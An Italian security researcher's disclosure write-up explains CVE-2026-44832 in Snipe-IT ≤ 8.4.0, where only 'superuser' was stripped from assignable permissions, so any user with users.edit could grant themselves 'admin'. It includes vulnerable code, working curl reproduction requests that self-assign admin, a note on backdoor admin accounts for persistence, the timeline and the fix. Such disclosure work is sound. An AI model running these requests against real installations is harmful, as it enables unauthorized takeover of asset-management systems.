Quando un unset() mancante regala l’admin
Come un solo unset(‘superuser’) — senza l’equivalente per la chiave admin — ha permesso a qualsiasi utente con users.edit di auto-assegnarsi l’admin via API e prendere il controllo completo di Snipe-IT ≤ 8.4.0.

Il 5 maggio 2026 è stata pubblicata — come GitHub Security Advisory GHSA-hq28-crg7-95pr — una vulnerabilità che ho riportato in Snipe-IT, il sistema di asset management open source di Grokability (Laravel, ~11k stelle su GitHub). Nelle versioni ≤ 8.4.0 qualsiasi utente autenticato con il solo permesso users.edit poteva auto-assegnarsi il permesso admin con una singola richiesta PATCH /api/v1/users/{id}, scavalcando l’intero modello di autorizzazione. Il fix è nella versione 8.4.1.
La parte interessante non è una capability dimenticata, ma una protezione parziale: lo sviluppatore ha rimosso con cura la chiave superuser dai permessi che un utente non-superadmin può assegnare — ma ha lasciato passare admin, che in Snipe-IT è altrettanto totalizzante. Un solo unset() in più avrebbe chiuso il buco.
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L = 8.3 (High), coerente con la classificazione del vendor. La finding è stata accreditata pubblicamente (co-reporter indipendente: 0xrdi).Premessa: in Snipe-IT admin bypassa ogni policy
Snipe-IT usa permessi granulari costruiti sulle Laravel Policies. Il punto chiave è la policy di base SnipePermissionsPolicy, il cui metodo before() corto-circuita ogni controllo di risorsa:
public function before(User $user, $ability, $item)
{
if ($user->hasAccess('admin')) {
return true; // admin → true su ogni ability, per ogni risorsa
}
}Chi possiede admin non deve superare nessun altro check: la policy ritorna true in testa a tutto. In un sistema del genere l’unica domanda che conta per un attaccante è: posso assegnarmi la chiave admin? La risposta, fino alla 8.4.0, era sì.
Il blocco che strippa una sola chiave
L’UsersController dell’API gestisce i permessi in ingresso così, sia in update() (righe 590–599) sia in store() (righe 450–458):
if ($request->has('permissions')) {
$permissions_array = $request->input('permissions');
// Rimuove il solo permesso superuser se il caller non è superadmin
if (!auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
$user->permissions = $permissions_array;
}Due difetti si sommano qui. Primo: viene rimossa solo superuser; admin — e ogni altra chiave — passa senza controlli. Secondo: questo blocco è fuori dal gate canEditAuthFields (righe 552–570), che protegge password, username, email e activated. L’unica autorizzazione che serve per raggiungerlo è il check di riga 535, $this->authorize(‘update’, $user), che verifica soltanto users.edit.
È il pattern della protezione parziale: alcuni campi sensibili sono dietro un gate, altri — qui i permessi, cioè i più sensibili di tutti — sono rimasti fuori. Quando un sottoinsieme di campi è protetto da un middleware o da un gate, vale sempre la pena verificare che tutti i campi pericolosi siano coperti.
Lo stesso buco anche nel controller web
Non è un incidente isolato all’API: il controller web replica identico il pattern nel metodo store(), così che anche la creazione utente dalla UI possa forgiare un account con permessi arbitrari:
$permissions_array = $request->input('permission');
if (! auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
$user->permissions = json_encode($permissions_array);Riproduzione
Basta il token API di un utente con soli users.view / users.edit / users.create (né admin né superuser). Il momento diagnostico è il confronto di stato prima e dopo un solo PATCH:
# 0. Prima dell'exploit l'accesso agli asset è negato
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
-H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 403
# 1. Auto-assegnazione di admin con una singola richiesta
curl -s -X PATCH http://TARGET/api/v1/users/ME_ID \
-H "Authorization: Bearer ATTACKER_TOKEN" \
-H "Accept: application/json" \
--data-urlencode "permissions[users.view]=1" \
--data-urlencode "permissions[users.edit]=1" \
--data-urlencode "permissions[admin]=1" \
| jq '.payload.permissions'
# { "users.view": 1, "users.edit": 1, "admin": 1 }
# 2. Stesso endpoint di prima: ora ritorna 200 — accesso completo
curl -s -o /dev/null -w '%{http_code}\n' http://TARGET/api/v1/hardware \
-H "Authorization: Bearer ATTACKER_TOKEN" -H "Accept: application/json"
# 200Da lì l’attaccante ha lettura/scrittura/cancellazione su tutti gli asset, accessori, componenti, licenze, utenti, sedi e report — e può usare lo stesso store() per creare un account admin di backdoor come persistenza. L’unica chiave che non può auto-assegnarsi resta superuser, correttamente rimossa.
Perché è un CVE distinto (e non un duplicato)
Lo stesso endpoint utenti di Snipe-IT è stato toccato da altre due CVE, con root cause diverse. Vale la pena tenerle separate:
- CVE-2025-15602 — mass assignment di attributi utente (es. email), patchata in v8.3.7. Root cause diversa: campi anagrafici, non i permessi.
- CVE-2026-38533 — bypass di ownership del gate
canEditAuthFields(password,activated), reporter diverso. - CVE-2026-44832 (questa) — l’array
permissions, fuori dal gate, accetta la chiaveadminperché solosuperuserviene strippato.
Timeline della disclosure
| Data | Evento |
|---|---|
| 2026-03-09 | Report inviato via email a security@snipeitapp.com (canale ufficiale da SECURITY.md) |
| 2026-03-12 | Il vendor conferma il fix su master e chiede l’ID CVE |
| 2026-04-07 | Rilascio di v8.4.1 (fix) — inizialmente senza CVE né advisory |
| 2026-04-16 | CVE richiesto per completare l’attribuzione |
| 2026-05-05 | Pubblicazione GitHub Security Advisory GHSA-hq28-crg7-95pr (CVE-2026-44832) |
| 2026-05-06 | Crediti accettati; pubblicazione di questo writeup |
Mitigazione
Aggiornare a Snipe-IT 8.4.1 o successiva. Nella 8.4.1 la normalizzazione dei permessi è stata rifattorizzata in un’azione dedicata (PreserveUnauthorizedPrivilegedPermissionsAction) che rimuove entrambe le chiavi privilegiate per i caller non autorizzati. La forma della correzione è questa:
if (!auth()->user()->isSuperUser()) {
unset($permissions_array['superuser']);
}
// Aggiunto: rimuovi anche 'admin' se il caller non è già admin/superuser
if (!auth()->user()->hasAccess('admin') && !auth()->user()->isSuperUser()) {
unset($permissions_array['admin']);
}La lezione di design è più ampia del singolo unset(): una allow-list è più sicura di una deny-list. Rimuovere “le chiavi pericolose” che conosci oggi lascia scoperte quelle che aggiungerai domani; consentire esplicitamente solo le chiavi che il caller può assegnare è robusto rispetto all’evoluzione del set di permessi. E i campi che decidono i privilegi vanno trattati come i più sensibili di tutti, mai come un ramo dimenticato fuori dal gate di autorizzazione.
Advisory GitHub e record CVE
GitHub Security Advisory pubblicata dal vendor (Grokability) con impatto, versioni affette, commit di fix e crediti. Record CVE ufficiale su cve.org.
Lorenzo Fradeani è un security researcher indipendente focalizzato su vulnerability research e tooling di sicurezza offensiva. Disponibile per collaborazioni AppSec e ingaggi di pentest da Massa-Carrara e completamente da remoto. Contattami.